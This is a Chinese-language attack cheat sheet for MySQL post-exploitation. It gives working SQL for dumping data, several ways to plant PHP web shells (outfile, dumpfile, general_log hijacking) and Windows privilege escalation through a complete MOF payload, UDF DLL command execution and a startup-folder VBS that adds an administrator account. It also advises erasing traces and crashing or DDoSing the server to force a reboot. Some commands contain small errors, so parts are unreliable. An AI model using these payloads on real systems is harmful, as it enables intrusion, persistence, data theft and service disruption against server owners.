密碼讀取
- 直接從配置文件中讀取數據庫賬號密碼
- 爆破賬號密碼
- 讀取數據庫目錄中的user.MYD,root后的字符串為其用戶加密值,在線解密或者hashcat即可
脫庫
利用條件:
- 權限為root
- secure_file_priv沒有具體值
show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
Into outfile
select * from test into outfile '/tmp/test.txt'
Into dumpfile
select * from test into dumpfile '/tmp/test.txt'
out file 與 dump file的脫褲區別
1.dumpfile只輸出一行內容,outfile多行。
2.outfile函數在將數據寫入到文件時會進行特殊格式轉換 例如\n,則dumpfile則保持原數據格式。
若我們想把一個可執行2進制文件用into outfile
函數導出,事實上導出后就會被破壞
因為into outfile
函數會在行末端寫入新行 更致命的是會轉義換行符,這樣的話這個2進制可執行文件就會被破壞
這時候我們用into dumpfile
就能導出一個完整能執行的2進制 文件
into dumpfile
函數不對任何列或行進行終止,也不執行任何轉義處理
寫Web Shell
利用條件:
- 權限為root
- secure_file_priv沒有具體值
show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
直接寫入
select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php';
select unhex('十六進制字符串') into dumpfile 'D:/WEB/shell.php';
創建表
1.先創建數據表
CREATE table 'mysql'.'shell' ('webshell' text not null);
2.向表單中寫入一句話
insert Into mysql.shell values('<?php $eval($_POST[shell]);?>');
3.查詢數據導出webshell
select 'webshell' from 'shell' into outfile 'c:\\1.php';
4.刪除表,清理痕跡。
drop table if exists 'shell';
日志
1.查看genera文件配置情況
show global variables like "%genera%";
2.開啟日志記錄
set global general_log='on';
3.日志文件導出指定目錄
set global general_log_file='C:/phpstudy/WWW/hp.php';
4.記錄sql語句寫馬,演示一下,沒有安全狗,直接傳原馬
select '<?php @eval($_POST["hp"]); ?>';
5.關閉記錄
set global general_log=off;
提權
mof提權
MOF提權的條件要求十分嚴苛:
- windows 03及以下版本
- mysql啟動身份具有權限去讀寫c:/windows/system32/wbem/mof目錄
- secure-file-priv參數不為null
MOF文件:托管對象格式 (MOF) 文件是創建和注冊提供程序、事件類別和事件的簡便方法。文件路徑為:c:/windows/system32/wbme/mof/,其作用是每隔五秒就會去監控進程創建和死亡。
提權原理:MOF文件每五秒就會執行,而且是系統權限,我們通過mysql使用load_file將文件寫入/wbme/mof,然后系統每隔五秒就會執行一次我們上傳的MOF。MOF當中有一段是vbs腳本,我們可以通過控制這段vbs腳本的內容讓系統執行命令,進行提權。
公開的nullevt.mof利用代碼:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
MOF文件利用:
將上面的腳本上傳到有讀寫權限的目錄下:
這里我上傳到了C:\Documents and Settings\test
根據前面的phpmyadmin,我們使用sql語句將文件導入到c:/windows/system32/wbem/mof/
下
payload:
select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
值得一提的是,這里不能使用outfile,因為會在末端寫入新行,因此mof在被當作二進制文件無法正常執行,所以我們用dumpfile導出一行數據。
驗證提權:
當我們成功把mof導出時,mof就會直接被執行,且5秒創建一次用戶。
可以看到,我們在test的普通用戶下直接添加了hpdoger用戶。剩下的操作就是用戶命令處,換成加入administrator語句即可:
net.exe user localgroup administrator hpdoger /add\
關於MOF提權的弊端:
我們提權成功后,就算被刪號,mof也會在五秒內將原賬號重建,那么這給我們退出測試造成了很大的困擾,所以謹慎使用。那么我們如何刪掉我們的入侵賬號呢?
cmd 下運行下面語句:
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
重啟服務即可。
udf提權
什么是udf:UDF(user-defined function)是MySQL的一個拓展接口,也可稱之為用戶自定義函數,它是用來拓展MySQL的技術手段,可以說是數據庫功能的一種擴展,用戶通過自定義函數來實現在MySQL中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像本機函數如ABS()或SOUNDEX()一樣方便。
提權分析:udf是Mysql類提權的方式之一。前提是已知mysql中root的賬號密碼,我們在拿到webshell后,可以看網站根目錄下的config.php里,一般都有mysql的賬號密碼。利用root權限,創建帶有調用cmd函數的’udf.dll’(動態鏈接庫)。當我們把’udf.dll’導出指定文件夾引入Mysql時,其中的調用函數拿出來當作mysql的函數使用。這樣我們自定義的函數才被當作本機函數執行。在使用CREAT FUNCITON調用dll中的函數后,mysql賬號轉化為system權限,從而來提權。
導出dll到指定目錄:利用提權馬將寫在其中的二進制導出一個dll到指定目錄,但導出的dll文件路徑有要求
- Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
- Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。
但是大於5.1版本的時候沒有plugin這個文件夾,需要我們自己創建。
將udf的自定義函數引入:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll' #引入sys_eval函數
其中,sys_eval函數是執行任意命令,並將輸出返回函數的名字,hpudf.dll是你導出文件的名字;
常見的函數如下:
cmdshell 執行cmd;
downloader 下載者,到網上下載指定文件並保存到指定目錄;
open3389 通用開3389終端服務,可指定端口(不改端口無需重啟);
backshell 反彈Shell;
ProcessView 枚舉系統進程;
KillProcess 終止指定進程;
regread 讀注冊表;
regwrite 寫注冊表;
shut 關機,注銷,重啟;
about 說明與幫助函數;
執行命令:
select sys_eval('ipconfig');
添加用戶/管理員
查用戶
啟動項提權
利用條件:
- 上傳的目錄必須具備可讀寫的權限
- 調用的 cmd 也必須有足夠的權限
利用SQL命令來進行VBS腳本的創建及添加。
create table secist(cmd text);
insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);
insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);
insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);
select * from secist into dumpfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\secist.vbs”;
可以利用一些可導致服務器藍屏的EXP,或者DDoS拒絕服務,讓管理員重啟服務器。